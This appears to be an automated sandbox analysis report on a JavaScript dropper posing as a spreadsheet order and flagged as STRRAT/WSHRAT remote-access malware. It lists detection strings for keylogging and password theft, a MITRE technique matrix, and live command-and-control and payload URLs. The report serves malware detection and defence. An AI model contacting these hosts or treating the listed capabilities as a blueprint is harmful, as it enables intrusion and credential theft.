Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log

Yara detected STRRAT

Source: Yara match	File source: 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaw.exe PID: 7540, type: MEMORYSTR

Yara detected WSHRAT

Source: Yara match	File source: amsi64_7436.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7580.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8108.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8156.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388054789.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1742267547.00000296C005A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387784576.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387552603.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018966417.00000134E0C5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387944449.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2975088577.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387668685.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018985859.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737403220.000002890EC5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024564022.000001F2ACADA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731617996.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737294096.000002890EBB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1735824367.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2020882585.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024584613.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2021378874.00000134E0B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024426072.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2973699666.00000296BFD98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1741594797.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975324132.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731869784.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018761492.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2974480890.00000296C1FD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2021244896.00000134E0A92000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387894883.000001F2AC9C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1742746443.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731838543.000002890EB0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2973698231.000001F2AC8E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8156, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	51 Scripting	Valid Accounts	11 Windows Management Instrumentation	51 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Services File Permissions Weakness	1 Services File Permissions Weakness	111 Process Injection	Security Account Manager	22 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Services File Permissions Weakness	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ORDER-24171200967.XLS..js	24%	ReversingLabs	Script-JS.Trojan.Cryxos

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\word.js	100%	Avira	JS/Dldr.G8

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
chongmei33.publicvm.com	20%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.chambersign.org/chambersroot.crl0	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-readyad4	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyAccept	100%	Avira URL Cloud	phishing
http://cps.chambersign.org/cps/chambersroot.html0	0%	Avira URL Cloud	safe
https://repository.luxtrust.lu0	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-ready	100%	Avira URL Cloud	phishing
chongmei33.publicvm.com	100%	Avira URL Cloud	phishing
http://crl.chambersign.org/chambersroot.crl0	0%	Virustotal		Browse
http://www.chambersign.org1	0%	Avira URL Cloud	safe
http://policy.camerfirma.com	0%	Avira URL Cloud	safe
http://chongmei33.public	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/7=si-	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyOi	100%	Avira URL Cloud	phishing
http://cps.chambersign.org/cps/chambersroot.html0	0%	Virustotal		Browse
https://repository.luxtrust.lu	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-ready$	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-ready3	100%	Avira URL Cloud	phishing
http://null.oracle.com/)	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-ready.	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com/	100%	Avira URL Cloud	phishing
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-readyD	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-ready7	100%	Avira URL Cloud	phishing
http://www.chambersign.org	0%	Avira URL Cloud	safe
http://policy.camerfirma.com0	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.co8D	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-ready4J	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-ready?	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyK	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readydob.js	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyG	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyD	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyS	100%	Avira URL Cloud	phishing
http://java.oracle.com/	0%	Avira URL Cloud	safe
http://null.oracle.com/	0%	Avira URL Cloud	safe
http://192.3.220.6/web/ours.js	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-readyN	100%	Avira URL Cloud	phishing
http://cps.chambersign.org/cps/chambersroot.html	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-readyc	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-ready1ad4	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyata	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-ready	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyi	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readygsl	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyr	100%	Avira URL Cloud	phishing
http://www.quovadis.bm	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-readyo	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readyStat	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.com:7045/is-readym	100%	Avira URL Cloud	phishing
http://chongmei33.publicvm.co	0%	Avira URL Cloud	safe
http://chongmei33.publicvm.com:7045/is-readyows	100%	Avira URL Cloud	phishing
http://crl.chambersign.org/chambersroot.crl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chongmei33.publicvm.com	46.246.82.66	true	true	20%, Virustotal, Browse	unknown
github.com	140.82.121.3	true	false		high
dualstack.sonatype.map.fastly.net	199.232.192.209	true	false		high
repo1.maven.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://chongmei33.publicvm.com:7045/is-ready	true	Avira URL Cloud: phishing	unknown
chongmei33.publicvm.com	true	Avira URL Cloud: phishing	unknown
http://192.3.220.6/web/ours.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://chongmei33.publicvm.com:7045/is-readyad4	wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://crl.chambersign.org/chambersroot.crl0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com	javaw.exe, 00000004.00000002.2974688080.0000000004AD1000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004A0D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004B34000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004C2D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004858000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004942000.00000004.00000800.00020000.00000000.sdmp	false		high
https://repository.luxtrust.lu0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.com:7045/is-readyAccept	wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://cps.chambersign.org/cps/chambersroot.html0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.chambersign.org1	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://policy.camerfirma.com	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.public	wscript.exe, 0000000E.00000002.2975324132.000001F2AE9C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jar	javaw.exe, 00000004.00000002.2974688080.0000000004BFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/7=si-	wscript.exe, 0000000E.00000002.2975324132.000001F2AE9C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyOi	wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://repo1.maven.org	javaw.exe, 00000004.00000002.2974688080.00000000049A6000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004B03000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.00000000048DF000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004A3F000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004823000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004AA2000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004800000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004C5F000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004BC8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004973000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.00000000049D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004911000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.000000000488C000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004A71000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004B65000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2974688080.0000000004BFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://repository.luxtrust.lu	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadisglobal.com/cps0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/is-ready$	wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-ready3	wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://null.oracle.com/)	javaw.exe, 00000004.00000003.1787857908.00000000153ED000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2650338091.00000000153ED000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2041207208.00000000153EC000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2446540782.00000000153ED000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2294513688.00000000153EC000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.3049323493.00000000153EC000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000004.00000003.2041525743.00000000153EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.com:7045/is-ready.	wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2974155390.00000296C1E3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com/	wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://ocsp.quovadisoffshore.com0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.allatori.com	javaw.exe, 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-readyD	wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-ready7	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://repository.swisssign.com/	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.chambersign.org	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/kristian/system-hook/releases/download/3.5/system-hook-3.5.jar	javaw.exe, 00000004.00000002.2974688080.0000000004942000.00000004.00000800.00020000.00000000.sdmp	false		high
http://policy.camerfirma.com0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.co8D	wscript.exe, 00000005.00000002.2975253973.00000296C2270000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://repo1.maven.org/maven2/net/java/dev/jna/jna-platform/5.5.0/jna-platform-5.5.0.jar	javaw.exe, 00000004.00000002.2974688080.0000000004B65000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/is-ready4J	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-ready?	wscript.exe, 0000000E.00000002.2974393312.000001F2AE8E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyK	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974393312.000001F2AE8E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readydob.js	wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2974155390.00000296C1E3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://bugreport.sun.com/bugreport/	javaw.exe, 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/is-readyG	wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2974393312.000001F2AE8E0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyD	wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyS	wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://java.oracle.com/	javaw.exe, 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://null.oracle.com/	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.com:7045/is-readyN	wscript.exe, 0000000E.00000002.2975764015.000001F2AF105000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jar	javaw.exe, 00000004.00000002.2974688080.00000000049D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.quovadisglobal.com/cps	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cps.chambersign.org/cps/chambersroot.html	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.com:7045/is-readyc	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-ready1ad4	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://crl.securetrust.com/STCA.crl	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/is-readyata	wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readycvm.com:7045/is-ready	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyi	wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://crl.xrampsecurity.com/XGCA.crl0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://chongmei33.publicvm.com:7045/is-readyd	wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://chongmei33.publicvm.com:7045/is-readygsl	wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyr	wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readys	wscript.exe, 0000000E.00000002.2974794572.000001F2AE8F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
